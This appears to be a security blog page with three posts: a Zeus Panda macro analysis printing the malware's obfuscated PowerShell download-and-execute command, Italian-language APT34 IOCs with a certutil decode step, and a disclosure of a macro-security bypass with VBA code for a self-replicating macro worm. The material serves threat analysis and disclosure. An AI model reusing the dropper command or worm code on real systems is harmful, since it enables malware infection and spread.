Panda Banker hits Italy – Analysis Part 1


During the analysis of network traffic collected inside the network of one of our customers by our system “Cyber Alastair sensor”, we have identified an HTTP request to a domain that immediately triggers our attention:
Further threat intelligence investigations reveal that this domain is strictly related to the infamous Zeus Panda banking malware that hit Italy in the last few months, as reported also by malwaretraffic back in November.

Zeus Panda is a particularly nasty piece of software, derived from the infamous Zeus trojan, that hit the news several times this year, as reported also by the guys at, since it provides threat actors with a lot of different ways to monetize infected hosts: from banks credentials stealing to keylogging and SOCKS proxy capabilities.

In this series of blog posts we are going to analyze the malware infection in all its stages – from the infection vector to the dissection of the final payload – in order to understand the techniques used to remain a persistent threat inside the system, the methods exploited in order to exfiltrate information from the infected machine, the evasion techniques leveraged by the malware to hinder its analysis, and eventually all the IOC useful to expose such kind of infections inside your network.

Infection Vector

The infection vector used to deliver this threat is the old school Microsoft Office document containing an embedded VBA macro.
The document arrived attached to a phishing e-mail that tried to persuade the victim to think that there are some kind of debts to pay and they need to be set up urgently, this simple trick is often – unfortunately – enough to exploit the panic/curiosity of the receiver and led him/her to open the document.

Once the document has been opened we can see this:

The only thing that separates us from the infection is the click on that button “Enable Content” since VBA macros are not executed automatically by default. Obviously, the document tries to persuade us to click on it by presenting a kind of partial document. This is not one of the most complex
phishing techniques that we have seen used to fool the victim to enable the macro code but, hey, it works.

So, long story short: if the victim finally decides that the hidden contents inside the document is worth his/her click on “Enable Content”, the embedded VBA macro code is eventually executed and the show begins.

Infection Analysis

We can inspect the content of the VBA macro code both statically with tools like oletool, or dynamically by actually executing the macro inside the VBA interpreter embedded in Microsoft Office Excel. The latter technique is the one we are going to use here. Let’s disable the network inside our virtual machine – we don’t want to actually download the other stage of the malware now, but only analyze the macro code – then let’s click on “Enable Content” and finally let’s open the VBA Macro by navigating to View -> Macro -> View Macros -> Edit.

The function Workbook_Open() will execute when the Microsoft Excel document opens, executing through the command ‘Shell’ the string returned from the function ‘hawaiii’ that composes the final string leveraging all the other functions. This kind of simple obfuscation techniques are used in order to bypass automatic analysis systems and possibly AV signature, avoiding to hardcode the malicious command in the macro code but rather composing it with clever tricks. However, in this particular case, we have really basic and simple obfuscation techniques to protect the malicious command so we won’t waste our time analyzing them but rather we will skip all this mess by using a simple and neat dodge to dump the command executed.

We are going to supersede the ‘Shell’ command with a strategic ‘Debug.Print’ in order to dump the content of the string in our debug console, then we execute the macro to finally have our malicious command.

We have a slightly obfuscated Powershell command here:

poweRSheLL -NoniNTeRaCtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen “do{sleep 15;(.(\”{2}{0}{1}\” -f’-o’,’bject’,’new’) (\”{1}{3}{5}{0}{2}{4}\” -f’t’,’syst’,’.webclie’,’em’,’nt’,’.ne’)).(‘d’+’ow’+’nloadfil’+’e’).Invoke(‘’,’%localappdata%.exe’)}while(!$?);&(\”{0}{2}{1}\”-f’star’,’ss’,’t-proce’) ‘%localappdata%.exe'”

Ah! Here we can see exactly the domain we saw inside our customer’s network.
The Powershell command sleeps for 15 seconds – yet another technique used to try to timeout and bypass security products – and then uses a simple string composition technique to create the final command that will download a file from, save it to %localappdata%” – that is actually an alias for “%USERPROFILE%\AppData\Local – and eventually execute it.

At the time of writing the C&C at doesn’t serve anymore the second stage, however, we can recover it thanks to a not so old analysis of our document at hybrid-analysis.

From the process tree, we can see our Powershell command and the execution of the downloaded .exe.

Expanding the window we can retrieve the hash of the downloaded .exe: MD5,7d898b1260c0ea760c1de7d586cf8527
We can search it on VirusTotal, hoping that somebody uploaded it recently.


This post ends here, in the next one we are going to analyze the second stage of the infection.

Stay tuned and stay safe.


Document MD5 6F80250650199B6BF26E9C8022EEB09A
Document Name
Domain contacted
HTTP Request
Dropped .exe MD5 7D898B1260C0EA760C1DE7D586CF8527



APT34 – Cyber Espionage Group

FireEye ha recentemente tracciato i movimenti di un gruppo di Cyber Espionage Iraniano, a cui è stato assegnato il nome di APT 34.

Il gruppo, attivo dal 2014, sfrutta Backdoor in Powershell come principale strumento offensivo. Da diversi anni, tramite attacchi di Spear Phishing e l’utilizzo di utenze compromesse, colpisce realtà di diversi settori quali enti governativi e finanziari oltre che industrie e telecomunicazioni.

Nella più recente campagna Malware gli attaccanti sfruttano la vulnerabilità CVE-2017-11882 di Microsoft Office per eseguire codice arbitrario sui sistemi vulnerabili.

Ad oggi, 11/12/2017, i server di Malware Staging e C2 risultano attivi nella distribuzione dei file malevoli sotto elencati, indicando quindi la possibilità che queste campagne siano tuttora in corso.

Di seguito i Network IOC per individuare eventuali attacchi alla propria infrastruttura legati all’ultima campagna Malware di APT34.

Network IOCs:

Domain / IP Address Description
hxxp://media-center[.]fun Malware Staging Server (InTheCyber)
hpserver[.]online C2
anyportals[.]com C2
proxycheker[.]pro C2
hxxp://mumbai-m[.]site POWRUNER C2
hxxp://dns-update[.]club Malware Staging Server Malware Staging Server Has resolved mumbai-m[.]site & hpserver[.]online Has resolved mumbai-m[.]site and dns-update[.]club Has resolved dns-update[.]club Has resolved dns-update[.]club Has resolved ns2.dns-update[.]club & hpserver[.]online & anyportals[.]com

Overview tecnica:

La prima infezione avviene tramite l’apertura del documento con estensione “.rtf” contenente l’exploit dell’ultima vulnerabilità di Microsoft Office identificata dal CVE 2017-11882. Tale vulnerabilità risiede nella componente utilizzata per l’inserimento e la valutazione delle formule matematiche, Equation Editor (EQNEDT32.EXE).

Ulteriori informazioni:


Dopo l’esecuzione del codice, viene richiamato il processo “mshta.exe” che , a sua volta, effettua il download ed esegue gli script malevoli ottenuti dal sito internet  “hxxp://mumbai-m[.]site/b.txt”.

POWRUNER Attack Sequence

Lo script “b.txt” contiene comandi PowerShell per scaricare da “hxxp://dns-update[.]club/v.txt” un ulteriore script che viene rinominato da “v.txt” a “v.vbs”.

A questo punto, lo script “v.vbs” inserisce nella directory “C:\ProgramData\Windows\Microsoft\java\” 4 componenti (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs).

Sfruttando il tool di Microsft “CertUtil.exe”, “v.vbs” decodifica le componenti precedenti droppando gli script “hUpdateCheckers.ps1” e “dUpdateCheckers.ps1” "cmd.exe /C certutil -f  -decode C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.base C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.ps1", 0,false

Per ottenere la persistenza sul sistema coinvolto, viene creato uno Scheduled Task per “GoogleUpdateschecker.vbs“, richiamato ogni 60 secondi e che sfrutta i file “dUpdateCheckers.ps1” e “hUpdateCheckers.ps1” per le funzionalità di controllo remoto (sfruttando anche un DGA per comunicare con i server di Comando e Controllo).

InTheCyber Analysis:

Grazie alla condivisione delle informazioni di FireEye, InTheCyber ha avviato analisi e controlli sulle infrastrutture Difese e sui sistemi degli attaccanti.

E’ stato possibile individuare ulteriori script PowerShell da cui è stato estratto un ulteriore dominio malevolo utilizzato nelle fasi di Staging dell’infezione (hxxp://media-center[.]fun).

Le analisi sono tutt’ora in corso con particolare attenzione a possibili attacchi ad infrastrutture Italiane.


MS Office Security protection bypass allows the creation of “Self-replicating Macro-based Malwares”

Brief history

After the proliferation of infamous Macro Viruses (e.g. Melissa), more than a decade ago Microsoft implemented a security protection that should have blocked the possibility to create again self-replicating code called “Trust access to the VBA project object model”.

In fact, according to the explanation available at the URL:, “Trust access to the VBA project object model , disallow or allow programmatic access to the Visual Basic for Applications (VBA) object model from an automation client. This security option is for code written to automate an Office program and manipulate the VBA environment and object model. It is a per-user and per-application setting, and denies access by default, hindering unauthorized programs from building harmful self-replicating code. For automation clients to access the VBA object model, the user running the code must grant access. To turn on access, select the check box.”

Findings: Ability to bypass the limit to create self-replication macro code

We found that it is possible to create a macro that enables the “Trust access to the VBA project object model” flag. It will then be possible to create self-replicating code, obtaining a new and working version of the infamous Melissa Macro Virus.

Substantially, it looks like Macros were put in a cage, locked down, but the key was forgotten inside the cage.

Technical description

Once “Trust access to the VBA project object model” flag is checked, the registry key named “AccessVBOM” available inside “HKCU:\Software\Microsoft\Office\<<version>>\Word\Security”, will be set to “1”.

Powershell to the rescue!

The following simple snippet of VBA macro code changes the value of the registry, allowing to create self-replicating code:

Dim enableTrust As Variant

Trust = “powershell Set-ItemProperty -Path “”HKCU:\Software\Microsoft\Office\15.0\Word\Security”” -Name AccessVBOM -Value 1″

enableTrust = Shell(Trust, 0)

The change has effect only after the restart of the Word process, however this is not a big deal. It was possible to create a 2-stage attack that can exploit this vulnerability in order to create a self-replicating Macro Virus:

First stage code

‘download of the second stage (a malicious normal.dotm)

Dim ExecDown As Variant

Dim Download As String

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

FileName = strHomeFolder & “\Microsoft\Templates\Normal.dotm”

FileName2 = strHomeFolder & “\Microsoft\Templates\Normal2.dotm”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage2″” -OutFile ” & FileName2

ExecDown = Shell(Download, 0)

‘scheduling of a task that substitute original normal.dotm file with the malicious one

Ora_X = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 1 & “:” & Second(Now))

PKill = “Schtasks /Create /SC ONCE /ST ” & Ora_X & ” /TN “”PKillTask”” /TR “”taskkill /f /t /im winword.exe”” /F”

Ora_Y = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 2 & “:” & Second(Now))

ExecPKill = Shell(PKill, 0)

Substitution = “SchTasks /Create /SC ONCE /ST ” & Ora_Y & ” /TN “”SubstitutionTask”” /TR “”cmd /c copy ” & FileName2 & ” ” & FileName & ” /Y”” /F”

ExecSub = Shell(Substitution, 0)

Second stage (normal.dotm) code

‘download of the first stage

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

moduleName = strHomeFolder & “\Microsoft\Templates\stage1.bas”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage1″” -OutFile ” & moduleName

ExecDown = Shell(Download, 0)

‘importing and saving the malicious code inside the active document

Dim thisTarget As Document

Dim thisName As String

Set thisTarget = ActiveDocument

thisName = thisTarget.FullName

thisTarget.SaveAs2 newName & “.doc”, _


thisTarget.VBProject.VBComponents.Import moduleName


Attack scenario

It is possible to weaponize the code above to create, for example, a targeted “clock bomb” that encrypts all affected system files for ransom purposes. In order to be effective, it is sufficient to lure a company’s employee to execute the macro of a first malicious document to trigger a vicious cycle in which any document sent by him/her (that will become a trusted source for other company’s employees and also for employees of any business partner or supplier) becomes the attack vector. Of course, any new victim becomes the new infection-spreader.

A video of a working Proof of Concept of a self-replicating Macro-based Ransomware we created in just a few days of work will be presented by me during the 8° Italian national conference on Cyber warfare.

Possible mitigation

Technically speaking, in order to (partially) mitigate the vulnerability the suggestion I gave to MS is to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator.

However, it looks like no patch will be delivered by MS (set out below is the responsible disclosure chronicle to MSRC Microsoft Security Response Center).
That means that the only real protection is, as usual, your paranoia level: don’t enable Macros if you are not pretty sure they are legitimate, even if the documents are coming from trusted sources. Verifying the identity of the sender and that the visible content is what you were expecting to receive is no longer enough, because the sender could be involved in spreading malicious documents without being aware of it.

Responsible disclosure chronicles

  • First contact with Microsoft Security Response Center (MSRC): 10/16
  • Sent report & a video PoC to MSRC: 10/17
  • Confirmation of the opening of a ticket for the investigation on the finding from MSRC: 10/17
  • Message informing MSRC closed the investigation: 11/01


Here the message coming from the MSRC:
“Hi Lino,

We have completed our investigation and found that this doesn’t appear to be a security vulnerability issue as it’s how it works by design. We anticipate no further action on this item from MSRC and will be closing out the case.”

TrendMicro discovery

According to their post, TrendMicro recently identified Self-Replicating, Document-Encrypting Ransomware called “qkG Filecoder”, probably originating from Vietnamese crooks.

That means the vulnerability we reported to MS and that they refused to accept, could have already become a threat “in the wild” or it may become a threat soon. Hope MS will think about it.

Lino Antonio Buono
Technical Department Coordinator & Head of R&D Labs